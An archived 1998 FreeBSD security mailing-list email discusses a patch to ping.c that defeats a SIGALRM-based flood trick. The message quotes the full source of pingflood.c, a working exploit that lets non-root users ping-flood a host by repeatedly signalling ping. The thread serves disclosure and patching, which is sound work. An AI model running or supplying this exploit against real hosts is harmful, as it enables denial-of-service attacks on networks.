Date: Thu, 09 Apr 1998 22:10:23 +0200 (MET DST) From: md5330@mclink.it To: Jason Young <doogie@forbidden-donut.anet-stl.com> Cc: freebsd-bugs@FreeBSD.ORG, freebsd-security@FreeBSD.ORG, BUGTRAQ@NETSPACE.ORG Subject: Re: pingflood.c Message-ID: <XFMail.980409221023.md5330@mclink.it> In-Reply-To: <Pine.BSF.3.96.980515193936.5796C-100000@forbidden-donut.anet-stl.com>
next in thread | previous in thread | raw e-mail | index | archive | help
good! but is not for Linux ping. I thought at the same patch solution! I Knew that NetBSD is not vulnerable.... we can see their solution. bye p.s. sorry for my english. On 16-May-98 Jason Young wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > > This patch for FreeBSD's ping seems to defeat the SIGALRM flood exploit. I > suspect it applies to all the other *BSD's as well. I have done only > MINIMAL testing, so comments and other fixes are welcome. > > Jason Young > ANET Chief Network Engineer > > *** ping.c Fri Mar 6 07:07:12 1998 > - --- ping.c.new Fri May 15 19:40:23 1998 > *************** > *** 158,167 **** > - --- 158,168 ---- > double tsumsq = 0.0; /* sum of all times squared, for std. dev. */ > > volatile sig_atomic_t finish_up; /* nonzero if we've been told to finish > up */ > int reset_kerninfo; > volatile sig_atomic_t siginfo_p; > + volatile time_t lasttime; > > static void fill(char *, char *); > static u_short in_cksum(u_short *, int); > static void catcher(int sig); > static void check_status(void); > *************** > *** 209,218 **** > - --- 210,220 ---- > > setuid(getuid()); > uid = getuid(); > > preload = 0; > + lasttime = 0; > > datap = &outpack[8 + sizeof(struct timeval)]; > while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:v")) != -1) { > switch(ch) { > case 'a': > *************** > *** 518,540 **** > static void > catcher(int sig) > { > int waittime; > struct sigaction si_sa; > > ! pinger(); > > if (!npackets || ntransmitted < npackets) > (void)alarm((u_int)interval); > else { > - - if (nreceived) { > - - waittime = 2 * tmax / 1000; > - - if (!waittime) > - - waittime = 1; > - - } else > - - waittime = MAXWAIT; > - - > si_sa.sa_handler = stopit; > sigemptyset(&si_sa.sa_mask); > si_sa.sa_flags = 0; > if (sigaction(SIGALRM, &si_sa, 0) == -1) { > finish_up = 1; > - --- 520,551 ---- > static void > catcher(int sig) > { > int waittime; > struct sigaction si_sa; > + time_t timenow; > > ! if (nreceived) { > ! waittime = 2 * tmax / 1000; > ! if (!waittime) > ! waittime = 1; > ! } else > ! waittime = MAXWAIT; > ! > ! /* Die if SIGALRM is caught earlier than it should have been. This > ! * is usually the result of someone sending thousands of SIGALRMs > ! * in an attempt to simulate a ping -f (flood). > ! */ > ! > ! if(time((time_t *)&timenow) < lasttime + waittime) exit(0); > ! lasttime = timenow; > > + pinger(); > + > if (!npackets || ntransmitted < npackets) > (void)alarm((u_int)interval); > else { > si_sa.sa_handler = stopit; > sigemptyset(&si_sa.sa_mask); > si_sa.sa_flags = 0; > if (sigaction(SIGALRM, &si_sa, 0) == -1) { > finish_up = 1; > > - ----- > > On Thu, 9 Apr 1998, AntireZ wrote: > >> /* >> >> pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330@mclink.it> >> enhanced by David Welton <davidw@cks.com> >> I tested it only on Linux RedHat 4.1 and 5.0. >> David Welton tested it on Debian GNU/Linux and OpenBSD reporting >> it works. >> This program is free software; you can redistribute it and/or modify >> it under the terms of the GNU General Public License as published by >> the Free Software Foundation; version 2 of the License. >> >> >> ------------------------------------------------------------------------- >> >> pingflood.c allows non-root users to 'ping flood'. >> >> use it as follows: >> >> pingflood <hostname> >> >> WARNING: this program is only for demonstrative use only. USE IT AT >> YOUR >> OWN RISK! The authors decline all responsibility for >> damage caused by misuse of the program. >> >> *** if you use this program to cause harm to others, you are very >> small, petty and pathetic. *** >> >> to compile: gcc -o pingflood pingflood.c >> >> >> ------------------------------------------------------------------------- >> >> TECHNICAL NOTES >> >> When ping runs it normally sends an ICMP ECHO_REQUEST every second. >> It accomplishes this using the alarm system call and waiting for a >> SIGALRM >> signal >> from the kernel. >> Pingflood simply sends a lot of SIGALRM signals to the ping process. >> It can >> do this because the ping process is owned by the user. >> >> >> Salvatore Sanfilippo >> >> */ >> >> #include <signal.h> >> >> #define PING "/bin/ping" >> >> main( int argc, char *argv[] ) >> { >> int pid_ping; >> >> if (argc < 2) { >> printf("use: %s <hostname>\n", argv[0]); >> exit(0); >> } >> >> if(!(pid_ping = fork())) >> execl(PING, "ping", argv[1], NULL); >> >> if ( pid_ping <=0 ) { >> printf("pid <= 0\n"); >> exit(1); >> } >> >> sleep (1); /* give it a second to start going */ >> while (1) >> if ( kill(pid_ping, SIGALRM) ) >> exit(1); >> } >> > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.2 > > iQB1AwUBNVzhuKInE6ybC66VAQHkQQL/WP9ceHcc26zk+Dl9vHh2E08V16CMWsmi > wqVI7M69I9IgQ5Nl6Lz+7YOjJOIswQlM/SPispjfVFs3Y8WYB0z52OEM78Di0MDk > j/G0rgShagXwOsSWpkiFEB0sQWRnpc52 > =BJzp > -----END PGP SIGNATURE----- ---------------------------------- E-Mail: md5330@mclink.it Date: 09-Apr-98 Time: 22:07:24 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?XFMail.980409221023.md5330>